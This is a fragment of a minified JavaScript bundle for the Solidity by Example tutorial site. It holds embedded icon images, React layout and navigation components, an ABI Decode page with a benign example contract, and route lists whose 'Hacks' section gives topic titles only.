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",Cg="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEcAAAAyCAYAAAAOX8ZtAAAABmJLR0QA/wD/AP+gvaeTAAADmUlEQVRoge3bT2wUZRjH8c9Ml39S09IC/uFiRBIwabzVE15oiJBwLBcP3npS4E4IBA/EAwmcCInhoCeJNwgQoDGRC8GESMDYhJRyUAQplZa2tBYdD+9suqmsadHO+6J8kzd5Z3Znnt/+9p1ndt593swCKViFV7EWK8vWjpewouyvLLdfLg9rxZKG0ywt39NIOzL8gdE5r42W++uMY6bs/4pJTOARxsr+RHncOO7hbsbjhXzWrNkLBcvxPt5FF97Ga8L+55VR/Ijv8R0u45uM3+d9hoK+gnsFxf+g3S74cD6mrCj4PAHBMdpXRUgLTc35IgGRMduXzYz5OAFxKbSP6p5kpTHtuI22eSem/y4P8UbGaF7u6PXCmDrtgh/q5vTE05IkPcya0x1RSIp0Q1aEy+lhZDEpsirH+tgqEmV9jjdjq0iUt3Ksi60iUdbl6Kw05NatrFlTachnpDPH6kpD7tjBrVscOMCyZZWGXiCrqzcHWlvZv5/r1+ntrTz8POms/rJqZMMGTp7k4kW6uqLJaMLqHB2xVdiyhatXOX48pXzUmQvTmfGp1ejrY2CA3bvDdlyW50grK3Z0cORIyEfbtsVUsjQ9c+ps3MiZM1y4wKZNMRQsS9ecOj09XLvG0aO0VTqrkvDIaWTJEnbtYnAw5KOWliqiPgcjp5HOzpCPrlxh8+bFjrY0R7HYUZ5Tshy/xVYxb4aH2bOH7m4uXVrsaFM1TEvlt04zZmY4dox9+xgbqyrqdN2cdDl9OoyWwcGqI0/nUjVnYIDt28NTfPXGkKQ5IyNhpHR1cfZsTCVTNaF8Iz5PnnDiBHv3hsQbn6kaRmKr0N8fRsuNG7GVNDKcI97XdPMmO3eGR4S0jIHhmhjmjI9z+DCHDjGdVsprIII5p05x8CD371ca9hl4UMODSkOeP19puH/AcI47sVUkys85bsVWkSiDLwoJmtOWZ6H8dCi2ksQYyhir1+dciSolPb5ltnipP6KQFPmaFwWTT+ORUDA5kkMWEvIncTUlw6fZ3OfNgpaCUwnUAcds/QVP/6u1YHnBZwmIjNHOFbOrfJpT8EHBUAKCq2h3i1C9n8/14e+WFLXgPWFJ0TvCkqLXxajn+fd4jJ/wg7Cs6DLOZU1mQ5ua04wi/Am4Fq8Id7lWs4vSVjX0W4W7X17GaZ9zqvriszr19xb++ov9EZ40bD/GVNkfFWYzJ8vjJsp+fWHaJH7BnSzsmzd/AkgxNaTAmykLAAAAAElFTkSuQmCC",VC="/assets/telegram-DMavHjFx.png",fC="/assets/discord-BqSoMD3G.png";function YC(){return r.jsxs("div",{className:Is.component,children:[r.jsxs("div",{className:Is.row,children:[r.jsx("img",{src:GC,alt:"smart contract engineer",className:Is.sce}),r.jsx("a",{href:"https://www.smartcontract.engineer",target:"__blank",children:"Smart Contract Engineer"})]}),r.jsxs("div",{className:Is.social,children:[r.jsxs("div",{className:Is.row,children:[r.jsx("img",{src:fC,alt:"discord",className:Is.discord}),r.jsx("a",{href:"https://discord.gg/bt8FK2wkcW",target:"__blank",children:"Discord"})]}),r.jsxs("div",{className:Is.row,children:[r.jsx("img",{src:VC,alt:"telegram",className:Is.telegram}),r.jsx("a",{href:"https://t.me/smartcontractprogrammer",target:"__blank",children:"Telegram"})]}),r.jsxs("div",{className:Is.row,children:[r.jsx("img",{src:Cg,alt:"youtube",className:Is.youTube}),r.jsx("a",{href:"https://www.youtube.com/channel/UCJWh7F3AFyQ_x01VKzr9eyA",target:"__blank",children:"YouTube"})]})]}),r.jsx("div",{className:Is.row,children:r.jsx("a",{href:"mailto:contact@solidity-by-example.org",children:"contact@solidity-by-example.org"})}),r.jsxs("div",{className:Is.row,children:[r.jsx("a",{href:"https://github.com/solidity-by-example/solidity-by-example.github.io",target:"__blank",children:"Source"}),r.jsx("div",{className:Is.bar,children:"|"}),r.jsx("a",{href:"https://github.com/solidity-by-example/solidity-by-example.github.io/blob/gh-pages/LICENSE",target:"__blank",children:"License"}),r.jsx("div",{className:Is.bar,children:"|"}),r.jsx("a",{href:dg,target:"__blank",children:"Solidity jobs"})]})]})}const XC=({children:s})=>{const{state:a}=ct(),n=B.useRef(null);B.useLayoutEffect(()=>{n.current&&(n.current.scrollTop=parseInt(sessionStorage.getItem("scroll")||"0")||0)},[]);function l(p){var e;sessionStorage.setItem("scroll",(((e=n.current)==null?void 0:e.scrollTop)||0).toString()),window.location.href=p}return r.jsxs("div",{className:Xl.component,children:[r.jsx("div",{ref:n,className:Xl.sideNav,style:a.sideNav?{width:"var(--side-nav-width)",padding:"20px 10px 60px 10px"}:{width:0},children:a.sideNav?r.jsx(eC,{onClick:l}):null}),r.jsxs("div",{className:Xl.main,children:[r.jsx(AC,{}),r.jsxs("div",{className:Xl.children,children:[s,r.jsx(YC,{})]})]})]})},jg=({title:s,description:a})=>(B.useEffect(()=>{document.title=s;const n=document.querySelector("meta[name='description']");n&&n.setAttribute("content",a)},[]),null),Yo=' ',RC='';function vC(s=[]){B.useEffect(()=>{const a=p=>{try{const e=document.createElement("textarea");e.setAttribute("style","width:1px;border:0;opacity:0;"),document.body.appendChild(e),navigator.clipboard.writeText(p.innerText),document.body.removeChild(e)}catch(e){console.error(e)}},n=[];return document.querySelectorAll("pre").forEach(p=>{var i;if(((i=p.parentElement)==null?void 0:i.className)=="copy-wrapper")return;const e=document.createElement("div");e.className="copy-wrapper",p.parentElement.insertBefore(e,p),e.appendChild(p);const c=document.createElement("button");c.className="copy",c.title="Copy",c.innerHTML=Yo,c.ariaLabel="Copy to clipboard",p.after(c);function t(I){I.preventDefault(),a(p.childNodes[0]),c.innerHTML=RC}function o(I){I.preventDefault(),c.innerHTML=Yo}c.addEventListener("click",t),c.addEventListener("blur",o),n.push(()=>{c.removeEventListener("click",t),c.removeEventListener("blur",o)})}),()=>{for(let p=0;p(vC([]),r.jsx("div",{className:`code ${s}`,dangerouslySetInnerHTML:{__html:a}})),HC="_component_ni5i2_1",FC="_content_ni5i2_5",KC="_prevNext_ni5i2_8",he={component:HC,content:FC,prevNext:KC},A=({title:s,version:a,description:n,html:l,prev:p,next:e,codes:c})=>r.jsxs("div",{className:he.component,children:[r.jsx(jg,{title:`${s} | Solidity by Example | ${a}`,description:n}),r.jsxs("div",{className:he.content,children:[r.jsx("h2",{children:s}),r.jsx(NC,{html:l}),r.jsxs("div",{className:he.prevNext,children:[p&&r.jsxs("a",{href:p.path,children:["< ",p.title]}),e&&r.jsxs("a",{href:e.path,children:[e.title," >"]})]}),r.jsx("h3",{children:"Try on Remix"}),r.jsx("ul",{children:c.map(({fileName:t,code:o},i)=>r.jsx("li",{children:r.jsx("a",{href:`https://remix.ethereum.org/?#code=${o}`,target:"_blank",rel:"noreferrer",children:t})},i))})]})]}),MC="0.8.24",SC="ABI Decode",xC="ABI decode bytes",JC=[{fileName:"AbiDecode.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFiaURlY29kZSB7CiAgICBzdHJ1Y3QgTXlTdHJ1Y3QgewogICAgICAgIHN0cmluZyBuYW1lOwogICAgICAgIHVpbnQyNTZbMl0gbnVtczsKICAgIH0KCiAgICBmdW5jdGlvbiBlbmNvZGUoCiAgICAgICAgdWludDI1NiB4LAogICAgICAgIGFkZHJlc3MgYWRkciwKICAgICAgICB1aW50MjU2W10gY2FsbGRhdGEgYXJyLAogICAgICAgIE15U3RydWN0IGNhbGxkYXRhIG15U3RydWN0CiAgICApIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGFiaS5lbmNvZGUoeCwgYWRkciwgYXJyLCBteVN0cnVjdCk7CiAgICB9CgogICAgZnVuY3Rpb24gZGVjb2RlKGJ5dGVzIGNhbGxkYXRhIGRhdGEpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoCiAgICAgICAgICAgIHVpbnQyNTYgeCwKICAgICAgICAgICAgYWRkcmVzcyBhZGRyLAogICAgICAgICAgICB1aW50MjU2W10gbWVtb3J5IGFyciwKICAgICAgICAgICAgTXlTdHJ1Y3QgbWVtb3J5IG15U3RydWN0CiAgICAgICAgKQogICAgewogICAgICAgIC8vICh1aW50IHgsIGFkZHJlc3MgYWRkciwgdWludFtdIG1lbW9yeSBhcnIsIE15U3RydWN0IG15U3RydWN0KSA9IC4uLgogICAgICAgICh4LCBhZGRyLCBhcnIsIG15U3RydWN0KSA9CiAgICAgICAgICAgIGFiaS5kZWNvZGUoZGF0YSwgKHVpbnQyNTYsIGFkZHJlc3MsIHVpbnQyNTZbXSwgTXlTdHJ1Y3QpKTsKICAgIH0KfQo="}],zC=`

abi.encode encodes data into bytes.

+ */function ic(s){return s===void 0&&(s=""),new URLSearchParams(typeof s=="string"||Array.isArray(s)||s instanceof URLSearchParams?s:Object.keys(s).reduce((a,n)=>{let l=s[n];return a.concat(Array.isArray(l)?l.map(p=>[n,p]):[[n,l]])},[]))}function Hd(s,a){let n=ic(s);return a&&a.forEach((l,p)=>{n.has(p)||a.getAll(p).forEach(e=>{n.append(p,e)})}),n}const Kd="6";try{window.__reactRouterVersion=Kd}catch{}const Fd="startTransition",Go=Rg[Fd];function Md(s){let{basename:a,children:n,future:l,window:p}=s,e=W.useRef();e.current==null&&(e.current=QI({window:p,v5Compat:!0}));let c=e.current,[t,o]=W.useState({action:c.action,location:c.location}),{v7_startTransition:i}=l||{},I=W.useCallback(d=>{i&&Go?Go(()=>o(d)):o(d)},[o,i]);return W.useLayoutEffect(()=>c.listen(I),[c,I]),W.createElement(Rd,{basename:a,children:n,location:t.location,navigationType:t.action,navigator:c,future:l})}var Vo;(function(s){s.UseScrollRestoration="useScrollRestoration",s.UseSubmit="useSubmit",s.UseSubmitFetcher="useSubmitFetcher",s.UseFetcher="useFetcher",s.useViewTransitionState="useViewTransitionState"})(Vo||(Vo={}));var fo;(function(s){s.UseFetcher="useFetcher",s.UseFetchers="useFetchers",s.UseScrollRestoration="useScrollRestoration"})(fo||(fo={}));function Sd(s){let a=W.useRef(ic(s)),n=W.useRef(!1),l=Hp(),p=W.useMemo(()=>Hd(l.search,n.current?null:a.current),[l.search]),e=yd(),c=W.useCallback((t,o)=>{const i=ic(typeof t=="function"?t(p):t);n.current=!0,e("?"+i,o)},[e,p]);return[p,c]}const xd="_component_nqcni_1",Jd="_sideNav_nqcni_6",zd="_main_nqcni_13",Dd="_children_nqcni_21",Xl={component:xd,sideNav:Jd,main:zd,children:Dd},Ed="_list_1ltry_1",Qd="_title_1ltry_6",Td="_listItem_1ltry_11",Ud="_listItemActive_1ltry_18",_d="_link_1ltry_26",xa={list:Ed,title:Qd,listItem:Td,listItemActive:Ud,link:_d},Ld=[{lang:"Armenian",url:"https://pranatech.org/solidity-by-example-hy/"},{lang:"Persian",url:"https://solidifa.ir/solidity-by-example/"},{lang:"Persian",url:"https://siblearn.dev/solidity-by-example"},{lang:"Spanish",url:"https://github.com/lcadafalch/solidity_attacks"},{lang:"Simplified Chinese",url:"https://github.com/Web3-Club/solidity-by-example_Chinese"}],Od=[{path:"hello-world",title:"Hello World"},{path:"first-app",title:"First App"},{path:"primitives",title:"Primitive Data Types"},{path:"variables",title:"Variables"},{path:"constants",title:"Constants"},{path:"immutable",title:"Immutable"},{path:"state-variables",title:"Reading and Writing to a State Variable"},{path:"ether-units",title:"Ether and Wei"},{path:"gas",title:"Gas and Gas Price"},{path:"if-else",title:"If / Else"},{path:"loop",title:"For and While Loop"},{path:"mapping",title:"Mapping"},{path:"array",title:"Array"},{path:"enum",title:"Enum"},{path:"user-defined-value-types",title:"User Defined Value Types"},{path:"structs",title:"Structs"},{path:"data-locations",title:"Data Locations - Storage, Memory and Calldata"},{path:"transient-storage",title:"Transient Storage"},{path:"function",title:"Function"},{path:"view-and-pure-functions",title:"View and Pure Functions"},{path:"error",title:"Error"},{path:"function-modifier",title:"Function Modifier"},{path:"events",title:"Events"},{path:"events-advanced",title:"Events Advanced"},{path:"constructor",title:"Constructor"},{path:"inheritance",title:"Inheritance"},{path:"shadowing-inherited-state-variables",title:"Shadowing Inherited State Variables"},{path:"super",title:"Calling Parent Contracts"},{path:"visibility",title:"Visibility"},{path:"interface",title:"Interface"},{path:"payable",title:"Payable"},{path:"sending-ether",title:"Sending Ether - Transfer, Send, and Call"},{path:"fallback",title:"Fallback"},{path:"call",title:"Call"},{path:"delegatecall",title:"Delegatecall"},{path:"function-selector",title:"Function Selector"},{path:"calling-contract",title:"Calling Other Contract"},{path:"new-contract",title:"Creating Contracts from a Contract"},{path:"try-catch",title:"Try / Catch"},{path:"import",title:"Import"},{path:"library",title:"Library"},{path:"abi-encode",title:"ABI Encode"},{path:"abi-decode",title:"ABI Decode"},{path:"hashing",title:"Hashing with Keccak256"},{path:"signature",title:"Verifying Signature"},{path:"gas-golf",title:"Gas Optimizations"},{path:"bitwise",title:"Bitwise Operators"},{path:"unchecked-math",title:"Unchecked Math"},{path:"assembly-variable",title:"Assembly Variable"},{path:"assembly-if",title:"Assembly Conditional Statements"},{path:"assembly-loop",title:"Assembly Loop"},{path:"assembly-error",title:"Assembly Error"},{path:"assembly-math",title:"Assembly Math"}],Pd=[{path:"ether-wallet",title:"Ether Wallet"},{path:"multi-sig-wallet",title:"Multi Sig Wallet"},{path:"merkle-tree",title:"Merkle Tree"},{path:"iterable-mapping",title:"Iterable Mapping"},{path:"erc20",title:"ERC20"},{path:"erc721",title:"ERC721"},{path:"erc1155",title:"ERC1155"},{path:"gasless-token-transfer",title:"Gasless Token Transfer"},{path:"simple-bytecode-contract",title:"Simple Bytecode Contract"},{path:"create2",title:"Precompute Contract Address with Create2"},{path:"minimal-proxy",title:"Minimal Proxy Contract"},{path:"upgradeable-proxy",title:"Upgradeable Proxy"},{path:"deploy-any-contract",title:"Deploy Any Contract"},{path:"write-to-any-slot",title:"Write to Any Slot"},{path:"uni-directional-payment-channel",title:"Uni-directional Payment Channel"},{path:"bi-directional-payment-channel",title:"Bi-directional Payment Channel"},{path:"english-auction",title:"English Auction"},{path:"dutch-auction",title:"Dutch Auction"},{path:"crowd-fund",title:"Crowd Fund"},{path:"multi-call",title:"Multi Call"},{path:"multi-delegatecall",title:"Multi Delegatecall"},{path:"time-lock",title:"Time Lock"},{path:"assembly-bin-exp",title:"Assembly Binary Exponentiation"},{path:"airdrop",title:"Merkle Airdrop"}],$d=[{path:"re-entrancy",title:"Re-Entrancy"},{path:"overflow",title:"Arithmetic Overflow and Underflow"},{path:"self-destruct",title:"Self Destruct"},{path:"accessing-private-data",title:"Accessing Private Data"},{path:"delegatecall",title:"Delegatecall"},{path:"randomness",title:"Source of Randomness"},{path:"denial-of-service",title:"Denial of Service"},{path:"phishing-with-tx-origin",title:"Phishing with tx.origin"},{path:"hiding-malicious-code-with-external-contract",title:"Hiding Malicious Code with External Contract"},{path:"honeypot",title:"Honeypot"},{path:"front-running",title:"Front Running"},{path:"block-timestamp-manipulation",title:"Block Timestamp Manipulation"},{path:"signature-replay",title:"Signature Replay"},{path:"contract-size",title:"Bypass Contract Size Check"},{path:"deploy-different-contracts-same-address",title:"Deploy Different Contracts at Same Address"},{path:"vault-inflation",title:"Vault Inflation Attack"},{path:"weth-permit",title:"WETH Permit"}],qd=[{path:"storage",title:"EVM Storage Layout"},{path:"memory",title:"EVM Memory Layout"}],sC=[{path:"echidna",title:"Echidna"}],aC=[{path:"uniswap-v2",title:"Uniswap V2 Swap"},{path:"uniswap-v2-add-remove-liquidity",title:"Uniswap V2 Add Remove Liquidity"},{path:"uniswap-v2-optimal-one-sided-supply",title:"Uniswap V2 Optimal One Sided Supply"},{path:"uniswap-v2-flash-swap",title:"Uniswap V2 Flash Swap"},{path:"uniswap-v3-swap",title:"Uniswap V3 Swap"},{path:"uniswap-v3-liquidity",title:"Uniswap V3 Liquidity"},{path:"uniswap-v3-flash",title:"Uniswap V3 Flash Loan"},{path:"uniswap-v3-flash-swap",title:"Uniswap V3 Flash Swap Arbitrage"},{path:"chainlink-price-oracle",title:"Chainlink Price Oracle"},{path:"dai-proxy",title:"DAI Proxy"},{path:"staking-rewards",title:"Staking Rewards"},{path:"discrete-staking-rewards",title:"Discrete Staking Rewards"},{path:"vault",title:"Vault"},{path:"constant-sum-amm",title:"Constant Sum AMM"},{path:"constant-product-amm",title:"Constant Product AMM"},{path:"stable-swap-amm",title:"Stable Swap AMM"}],rt=[{title:"",routes:Od.map(s=>({...s,path:`/${s.path}`}))},{title:"Applications",routes:Pd.map(s=>({...s,path:`/app/${s.path}`}))},{title:"Hacks",routes:$d.map(s=>({...s,path:`/hacks/${s.path}`}))},{title:"EVM",routes:qd.map(s=>({...s,path:`/evm/${s.path}`}))},{title:"Tests",routes:sC.map(s=>({...s,path:`/tests/${s.path}`}))},{title:"DeFi",routes:aC.map(s=>({...s,path:`/defi/${s.path}`}))}],Cp=rt.map(({routes:s})=>s).flat(),nC=Cp.reduce((s,a,n)=>(s[a.path]=n,s),{});function lC(s){const a=nC[s];if(a>=0){const n=Cp[a-1]||null,l=Cp[a+1]||null;return{prev:n,next:l}}return{prev:null,next:null}}const pC=({onClick:s})=>{const a=Hp();function n(l,p){l.preventDefault(),s(p)}return r.jsxs(r.Fragment,{children:[r.jsx("h3",{className:xa.category,children:"Basic"}),rt.map(({routes:l,title:p},e)=>r.jsxs("div",{children:[p&&r.jsx("h3",{className:xa.title,children:p}),r.jsx("ul",{className:xa.list,children:l.map(({path:c,title:t})=>{const o=!!oc(c,a.pathname);return r.jsx("li",{className:o?xa.listItemActive:xa.listItem,children:r.jsx("a",{className:xa.link,href:c,onClick:i=>n(i,c),children:t})},c)})})]},e))]})},eC=({size:s,className:a="",onClick:n})=>r.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 20 20",strokeWidth:2,stroke:"currentColor",className:a,width:s,height:s,onClick:n,children:r.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 6.75h16.5M3.75 12h16.5m-16.5 5.25h16.5"})}),cC="_component_15x91_1",tC="_a_15x91_13",oC="_center_15x91_16",rC="_logo_15x91_21",iC="_header_15x91_24",gC="_mode_15x91_28",hC="_hamburger_15x91_33",aa={component:cC,a:tC,center:oC,logo:rC,header:iC,mode:gC,hamburger:hC},IC=({size:s,className:a=""})=>r.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"#fff",viewBox:"0 0 438.277 438.277",width:s,height:s,className:a,children:r.jsx("path",{d:"M428.756 300.104c-.664-3.81-2.334-7.047-4.996-9.713-5.9-5.903-12.752-7.142-20.554-3.716-20.937 9.708-42.641 14.558-65.097 14.558-28.171 0-54.152-6.94-77.943-20.838-23.791-13.894-42.631-32.736-56.525-56.53-13.899-23.793-20.844-49.773-20.844-77.945 0-21.888 4.333-42.683 12.991-62.384 8.66-19.7 21.176-36.973 37.543-51.82 6.283-5.898 7.713-12.752 4.287-20.557-3.236-7.801-9.041-11.511-17.415-11.132-29.121 1.141-56.72 7.664-82.797 19.556C111.33 31.478 88.917 47.13 70.168 66.548c-18.747 19.414-33.595 42.399-44.54 68.95-10.942 26.553-16.416 54.39-16.416 83.511 0 29.694 5.806 58.054 17.416 85.082 11.613 27.028 27.218 50.344 46.824 69.949 19.604 19.599 42.92 35.207 69.951 46.822 27.028 11.607 55.384 17.415 85.075 17.415 42.64 0 81.987-11.563 118.054-34.69 36.069-23.124 63.05-54.006 80.944-92.645 1.524-3.423 1.951-7.036 1.28-10.838zm-122.191 84.064c-24.646 11.711-50.676 17.562-78.087 17.562-24.743 0-48.39-4.853-70.947-14.558-22.554-9.705-41.971-22.695-58.246-38.972-16.271-16.272-29.259-35.686-38.97-58.241-9.707-22.556-14.561-46.203-14.561-70.948 0-40.922 12.135-77.466 36.403-109.636 24.266-32.165 55.531-53.959 93.788-65.379-19.795 31.405-29.694 65.379-29.694 101.926 0 34.644 8.564 66.715 25.697 96.223 17.128 29.499 40.446 52.811 69.95 69.948 29.499 17.129 61.565 25.694 96.211 25.694 10.656 0 21.129-.855 31.408-2.57-17.318 20.938-38.307 37.255-62.952 48.951z"})}),dC=({size:s,className:a=""})=>r.jsxs("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 302.4 302.4",width:s,height:s,className:a,children:[r.jsx("path",{d:"M204.8 97.6C191.2 84 172 75.2 151.2 75.2s-40 8.4-53.6 22.4c-13.6 13.6-22.4 32.8-22.4 53.6s8.8 40 22.4 53.6c13.6 13.6 32.8 22.4 53.6 22.4s40-8.4 53.6-22.4c13.6-13.6 22.4-32.8 22.4-53.6s-8.4-40-22.4-53.6zm-14.4 92.8c-10 10-24 16-39.2 16s-29.2-6-39.2-16-16-24-16-39.2 6-29.2 16-39.2 24-16 39.2-16 29.2 6 39.2 16 16 24 16 39.2-6 29.2-16 39.2z",stroke:"#252519",strokeWidth:12}),r.jsx("path",{d:"M292 140.8h-30.8c-5.6 0-10.4 4.8-10.4 10.4 0 5.6 4.8 10.4 10.4 10.4H292c5.6 0 10.4-4.8 10.4-10.4 0-5.6-4.8-10.4-10.4-10.4zm-140.8 110c-5.6 0-10.4 4.8-10.4 10.4V292c0 5.6 4.8 10.4 10.4 10.4 5.6 0 10.4-4.8 10.4-10.4v-30.8c0-5.6-4.8-10.4-10.4-10.4zm106.8-7.2-22-22c-3.6-4-10.4-4-14.4 0s-4 10.4 0 14.4l22 22c4 4 10.4 4 14.4 0s4-10.4 0-14.4zM151.2 0c-5.6 0-10.4 4.8-10.4 10.4v30.8c0 5.6 4.8 10.4 10.4 10.4 5.6 0 10.4-4.8 10.4-10.4V10.4c0-5.6-4.8-10.4-10.4-10.4zm107.2 44.4c-4-4-10.4-4-14.4 0l-22 22c-4 4-4 10.4 0 14.4 3.6 4 10.4 4 14.4 0l22-22c4-4 4-10.4 0-14.4zM41.2 140.8H10.4c-5.6 0-10.4 4.8-10.4 10.4s4.4 10.4 10.4 10.4h30.8c5.6 0 10.4-4.8 10.4-10.4 0-5.6-4.8-10.4-10.4-10.4zm39.2 80.8c-3.6-4-10.4-4-14.4 0l-22 22c-4 4-4 10.4 0 14.4s10.4 4 14.4 0l22-22c4-4 4-10.4 0-14.4zm0-155.2-22-22c-4-4-10.4-4-14.4 0s-4 10.4 0 14.4l22 22c4 4 10.4 4 14.4 0s4-10.4 0-14.4z",stroke:"#252519",strokeWidth:5})]}),CC=({size:s,className:a="",fill:n})=>r.jsxs("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1300 1300",xmlSpace:"preserve",width:s,height:s,className:a,fill:n,children:[r.jsx("path",{opacity:.45,d:"M773.772 253.308 643.068 485.61H381.842l130.614-232.302h261.316"}),r.jsx("path",{opacity:.6,d:"M643.068 485.61h261.318L773.772 253.308H512.456L643.068 485.61z"}),r.jsx("path",{opacity:.8,d:"M512.456 717.822 643.068 485.61 512.456 253.308 381.842 485.61l130.614 232.212z"}),r.jsx("path",{opacity:.45,d:"m513.721 1066.275 130.704-232.303h261.318l-130.705 232.303H513.721"}),r.jsx("path",{opacity:.6,d:"M644.424 833.973H383.107l130.613 232.303h261.317L644.424 833.973z"}),r.jsx("path",{opacity:.8,d:"M775.038 601.761 644.424 833.973l130.614 232.303 130.704-232.303-130.704-232.212z"})]});function jC(){const{state:s,setTheme:a,toggleSideNav:n}=tt();function l(){a(s.theme=="light"?"dark":"light")}return r.jsxs("div",{className:aa.component,children:[r.jsx(eC,{size:20,className:aa.hamburger,onClick:n}),r.jsxs("div",{className:aa.center,children:[r.jsx("a",{href:"/",className:aa.a,children:r.jsx(CC,{className:aa.logo,size:30,fill:s.theme=="dark"?"rgb(0, 255, 0)":"currentColor"})}),r.jsx("h3",{className:aa.header,children:r.jsx("a",{href:"/",className:aa.a,children:"Solidity by Example"})})]}),r.jsx("button",{className:aa.mode,onClick:l,children:s.theme=="dark"?r.jsx(IC,{size:20}):r.jsx(dC,{size:20})})]})}const 